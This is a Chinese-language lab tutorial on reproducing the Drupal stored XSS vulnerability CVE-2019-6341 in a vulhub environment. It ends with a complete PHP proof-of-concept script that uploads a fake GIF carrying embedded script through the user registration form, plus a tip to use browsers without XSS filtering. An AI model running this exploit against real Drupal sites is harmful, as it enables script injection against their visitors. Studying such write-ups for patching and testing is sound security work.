如何进行Drupal XSS漏洞CVE-2019-6341的分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。
漏洞简介:
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架)。在某些情况下,通过文件模块或者子系统上传恶意文件触发XSS漏洞。
威胁类型
XSS
威胁等级
中
漏洞编号
CVE-2019-6341
受影响系统及应用版本
在7.65之前的Drupal 7版本中; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本。
漏洞复现:
使用vulhub环境
进入目录:root@kali:/vulhub/drupal/CVE-2019-6341
启动docker
启动环境
访问0.0.1:8080
进行CMF的安装,选择数据库时用sqlite数据库
环境搭建完成
1、该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
Drupal 的图片默认存储位置为 /sites/default/files/pictures//,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。
如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。
(为了不影响越读体验poc我放到最后,需要自取)
上传poc成功!
访问:http://127.0.0.1:8080/sites/default/files/pictures/2020-05(传poc的日期)/_0
(火狐和chrome自带xss过滤功能,验证存在时可使用 Edge 浏览器或者 IE 浏览器。
访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见https://paper.seebug.org/897/
漏洞利用poc:
<?php /* usage: php poc.php <target-ip> Date: 1 March 2019 Exploit Author: TrendyTofu Original Discoverer: Sam Thomas Version: <= Drupal 8.6.2 Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4. Tested not wokring on: Drupal running on MacOS with APFS CVE : CVE-2019-6341 Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/ */ $host = $argv[1]; $port = $argv[2]; $pk = "GET /user/register HTTP/1.1/r/n". "Host: ".$host."/r/n". "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/r/n". "Accept-Language: en-US,en;q=0.5/r/n". "Referer: http://".$host."/user/login/r/n". "Connection: close/r/n/r/n"; $fp = fsockopen($host,$port,$e,$err,1); if (!$fp) {die("not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); preg_match('/name="form_build_id" value="(.*)"/', $out, $match); $formid = $match[1]; //var_dump($formid); //echo "form id is:". $formid; //echo $out."/n"; sleep(1); $data = "Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325/r/n". "Connection: close/r/n". "/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"mail/"/r/n". "/r/n". "test324@example.com/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"name/"/r/n". "/r/n". "test2345/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"files[user_picture_0]/"; filename=/"xxx/xc0.gif/"/r/n". "Content-Type: image/gif/r/n". "/r/n". "GIF/r/n". "<HTML>/r/n". " <HEAD>/r/n". " <SCRIPT>alert(123);</SCRIPT>/r/n". " </HEAD>/r/n". " <BODY>/r/n". " </BODY>/r/n". "</HTML>/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"user_picture[0][fids]/"/r/n". "/r/n". "/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"user_picture[0][display]/"/r/n". "/r/n". "1/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"form_build_id/"/r/n". "/r/n". //"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk/r/n". $formid."/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"form_id/"/r/n". "/r/n". "user_register_form/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"contact/"/r/n". "/r/n". "1/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"timezone/"/r/n". "/r/n". "America/New_York/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"_triggering_element_name/"/r/n". "/r/n". "user_picture_0_upload_button/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"_triggering_element_value/"/r/n". "/r/n". "Upload/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"_drupal_ajax/"/r/n". "/r/n". "1/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"ajax_page_state[theme]/"/r/n". "/r/n". "bartik/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"ajax_page_state[theme_token]/"/r/n". "/r/n". "/r/n". "-----------------------------60928216114129559951791388325/r/n". "Content-Disposition: form-data; name=/"ajax_page_state[libraries]/"/r/n". "/r/n". "bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base/r/n". "-----------------------------60928216114129559951791388325--/r/n"; $pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1/r/n". "Host: ".$host."/r/n". "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0/r/n". "Accept: application/json, text/javascript, */*; q=0.01/r/n". "Accept-Language: en-US,en;q=0.5/r/n". "X-Requested-With: XMLHttpRequest/r/n". "Referer: http://" .$host. "/user/register/r/n". "Content-Length: ". strlen($data). "/r/n". $data; echo "uploading file, please wait.../n"; for ($i =1; $i <= 2; $i++){ $fp = fsockopen($host,$port,$e,$err,1); if (!$fp) {die("not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); fclose($fp); // echo "Got ".$i."/2 500 errors/n"; // echo $out."/n"; sleep(1); } echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM/n"; ?>
2、修复建议
升级Drupal至最新版本
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原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/tech/safety/221480.html